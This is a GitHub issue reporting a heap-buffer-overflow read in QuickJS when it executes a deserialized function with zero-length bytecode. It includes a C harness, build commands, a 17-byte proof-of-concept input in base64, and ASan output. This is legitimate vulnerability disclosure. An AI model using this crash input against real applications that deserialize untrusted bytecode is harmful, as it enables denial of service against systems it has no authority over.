Skip to content

[Bug]Heap-buffer-overflow read in JS_CallInternal: executing a function with empty (byte_code_len == 0) bytecode reads the first opcode past the buffer (CWE-125) #550

Description

@1820893135-pixel

Describe the bug

JS_ReadFunctionTag accepts a function whose declared byte_code_len is 0: the fixed header fields parse fine, no bytecode bytes are copied, and byte_code_buf points at the end of the 104-byte allocation. JS_EvalFunction then instantiates and executes the value; JS_CallInternal (quickjs.c:17878) starts the interpreter with pc = b->byte_code_buf and the first opcode fetch (SWITCH(pc)) reads *pc — 1 byte past the end of the heap buffer.

It's different from #547 and #549
To Reproduce

  1. Clone QuickJS and check out the affected commit:

    git clone https://github.com/bellard/quickjs.git
    cd quickjs
    git checkout 04be246001599f5995fa2f2d8c91a0f198d3f34c
  2. Save the driver below as poc_driver.c and build with ASan:

    gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl -o poc_driver

    How the input is interpreted: the first byte of the POC selects the
    JS_ReadObject flag combination (flags_tbl[first_byte % 6]); the remaining
    bytes
    are the serialized bytecode/object stream passed to JS_ReadObject.

/*
 * poc_driver.c - minimal PoC driver for QuickJS JS_ReadObject
 * deserialization bugs. Byte-for-byte mirrors the fuzz harness (harness.c):
 * the first byte of the input selects the JS_ReadObject flag combination,
 * the remaining bytes are the serialized bytecode/object stream.
 *
 * Build with AddressSanitizer against a QuickJS checkout:
 *   gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c \
 *       libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl \
 *       -o poc_driver
 * Run:
 *   ./poc_driver <poc.bin>
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "quickjs.h"
#include "quickjs-libc.h"
#include "cutils.h"     /* FALSE/TRUE */

static int nb_interrupts;

static int interrupt_handler(JSRuntime *rt, void *opaque)
{
    nb_interrupts++;
    return (nb_interrupts > 100);   /* abort runaway scripts */
}

int main(int argc, char **argv)
{
    FILE *f;
    long sz;
    uint8_t *buf;
    JSRuntime *rt;
    JSContext *ctx;
    JSValue obj, val;
    static const int flags_tbl[] = {
        0,                                          /* plain object      */
        JS_READ_OBJ_BYTECODE,                       /* bytecode function */
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA,/* rom-data aliasing */
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_SAB,
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_REFERENCE,
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA |
            JS_READ_OBJ_SAB | JS_READ_OBJ_REFERENCE,
    };

    if (argc < 2)
        return 1;
    f = fopen(argv[1], "rb");
    if (!f)
        return 1;
    fseek(f, 0, SEEK_END);
    sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    buf = malloc((size_t)sz);
    if (fread(buf, 1, (size_t)sz, f) != (size_t)sz)
        return 1;
    fclose(f);

    rt = JS_NewRuntime();
    ctx = JS_NewContext(rt);
    JS_SetMemoryLimit(rt, 0x4000000);   /* 64 MB, same as fuzz harness */
    JS_SetMaxStackSize(rt, 0x10000);    /* 64 KB */
    JS_SetInterruptHandler(rt, interrupt_handler, NULL);

    /* First byte selects flags; the rest is the serialized stream. */
    obj = JS_ReadObject(ctx, buf + 1, (size_t)sz - 1, flags_tbl[buf[0] % 6]);
    if (JS_IsException(obj)) {
        JS_FreeValue(ctx, JS_GetException(ctx));
        return 0;
    }

    /* Execute the deserialized bytecode if it is a module/function. */
    if (JS_VALUE_GET_TAG(obj) == JS_TAG_MODULE) {
        if (JS_ResolveModule(ctx, obj) < 0) {
            JS_FreeValue(ctx, obj);
            JS_FreeValue(ctx, JS_GetException(ctx));
            return 0;
        }
        js_module_set_import_meta(ctx, obj, FALSE, TRUE);
    }
    val = JS_EvalFunction(ctx, obj);
    if (JS_IsException(val))
        JS_FreeValue(ctx, JS_GetException(ctx));
    else
        JS_FreeValue(ctx, val);
    return 0;
}
  1. Write the exact 17-byte POC. The base64 string below round-trips to the byte-identical crash input:

    printf 'AQUADAAAAAAAAAABAAAAAAA=' | base64 -d > poc.bin
  2. Run it:

    ./poc_driver poc.bin

    ASan output:

    ==...==ERROR: AddressSanitizer: heap-buffer-overflow ...
    SUMMARY: AddressSanitizer: heap-buffer-overflow .../quickjs.c:17878 in JS_CallInternal
    

    Exit code 1.

Expected behavior

A function with zero bytecode length should be rejected during deserialization (or its execution should not fetch an opcode).

Screenshots

N/A

Please complete the following information:

  • OS: Linux x86-64 (Ubuntu 22.04)
  • QuickJS version: 2026-06-04 (commit 04be246001599f5995fa2f2d8c91a0f198d3f34c)

Additional context

  • Deterministic: yes — the same 17-byte input always triggers the ASan report (verified 5/5 runs).
  • Reachability: the public JS_ReadObject(ctx, buf, len, JS_READ_OBJ_BYTECODE) API deserializes attacker-controlled bytecode; JS_EvalFunction then executes it.
  • Severity: medium (1-byte OOB read, DoS) (CWE-125).
  • CWE: CWE-125.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions